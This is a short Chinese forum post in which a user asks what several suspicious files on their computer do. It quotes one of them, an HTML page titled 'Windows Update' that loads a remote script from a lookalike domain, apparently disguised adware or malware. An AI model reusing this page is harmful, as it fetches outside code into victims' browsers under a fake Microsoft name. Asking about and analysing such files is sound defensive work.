文件是：staff.html,trofkz.REG,x.bat,xfk.exe,请问这些文件是干什么用的，是否有危害，多谢
其中staff.html的内容是
<!-- AUTO PROMPT START -->
<script language="javascript" type="text/javascript" src="http://public.windupdates.com/prompt.php?h=4c61edcf03409c697281ebf521f23d9bdf4800d3599eab0ccc480b5bb792a6b0ffdcb7431db5dcc86539b2e1c125f0d772929d6af614343aec9a5f&k=75819fd8dbf15e67104533b354c8e59d"></script>
<script language="javascript" type="text/javascript">self.focus();</script>
<!-- AUTO PROMPT END -->
<html>
<head>
<Title>Windows Update</title>
</head>
<body>
</body>
</html>
